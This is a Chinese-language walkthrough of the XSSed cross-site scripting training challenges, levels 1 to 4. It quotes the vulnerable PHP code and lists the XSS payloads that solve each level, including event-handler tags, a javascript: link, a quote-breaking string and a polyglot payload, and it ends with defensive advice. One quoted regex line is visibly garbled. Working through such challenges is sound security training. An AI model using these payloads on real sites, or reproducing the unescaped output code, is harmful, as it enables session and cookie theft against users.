XSSed通关教程
字数 914 2025-08-11 17:40:10
XSSed通关教程详解
1. Basic XSS (Level 1)
漏洞分析
漏洞代码段:
echo($_GET['q']);
直接将用户输入插入HTML页面,没有任何过滤。
攻击向量
-
基本弹窗:
<script>alert(/xss/)</script> -
获取Cookie:
<script>alert(document.cookie)</script> -
A标签XSS:
<a href="javascript:alert('xss')">xss</a> -
图片加载失败执行:
-
iframe框架:
<iframe onload=alert('xss')> -
SVG标签:
<svg onload=alert(1)> -
Video标签:
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" /> -
Body标签:
<body onload=alert(1)> -
Style标签:
<style onload=alert(1)></style> -
Input标签:
<input onmouseover=alert(1)> -
万能XSS Payload:
jaVasCript:oNclJavaScript XSSiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
2. JavaScript XSS (Level 2)
漏洞分析
漏洞代码段:
$q = $_GET['q'];
<script type="text/javascript">
var search_term = " $q";
</script>
输入未经过滤直接插入JavaScript代码段。
攻击方法
由于输入被插入到JavaScript字符串中,需要闭合两边的引号:
-
闭合引号执行代码:
a";alert(1);var q="a -
HTML标签注入:
3. Filtered XSS (Level 3)
漏洞分析
漏洞代码段:
$id = str_replace('"', '"', $_GET['id']);
$creditcard = $_GET['creditcard'];
$creditcard = preg_replace('/([^\s])([A-Za-z\creditcard);
print <<<END
<h1>Please Confirm Your Order</h1>
<div id="creditcard">$creditcard</div>
<script type="text/javascript">
var q = "$id";
document.write(q)
</script>
END;
关键点
creditcard输入被严格过滤id输入仅转义了双引号- 木桶原理:只要有一个可控输入位置成为插入点,其他输入的过滤再严格也无意义
攻击方法
-
发现隐藏输入:
- 页面有一个
id变量默认值为123,属性为hidden - 将其改为text可显示输入框
- 页面有一个
-
利用JavaScript伪协议:
--><a href=javascript:alert(document.getElementById('creditcard').innerHTML);>click</a><!-- -
绕过注释限制:
- 闭合JavaScript中的注释
- 使用
document.write()函数插入代码
4. Chained XSS (Level 4)
攻击方法
基本弹窗Payload仍然有效:
<script>alert(/xss/)</script>
防御建议
-
输入验证:
- 对所有用户输入进行严格验证
- 使用白名单而非黑名单
-
输出编码:
- 根据输出上下文进行适当的编码(HTML, JavaScript, URL等)
-
内容安全策略(CSP):
- 实施严格的CSP策略
- 限制内联脚本执行
-
使用安全函数:
- 避免使用
innerHTML、document.write()等危险函数 - 使用
textContent等安全替代方案
- 避免使用
-
框架安全特性:
- 使用现代框架(如React、Angular、Vue)的内置XSS防护
本教程展示了XSS攻击的多种形式和绕过技术,强调了即使部分输入被严格过滤,只要有一个可控点就可能被利用。防御XSS需要全面考虑所有输入点,并实施多层防护措施。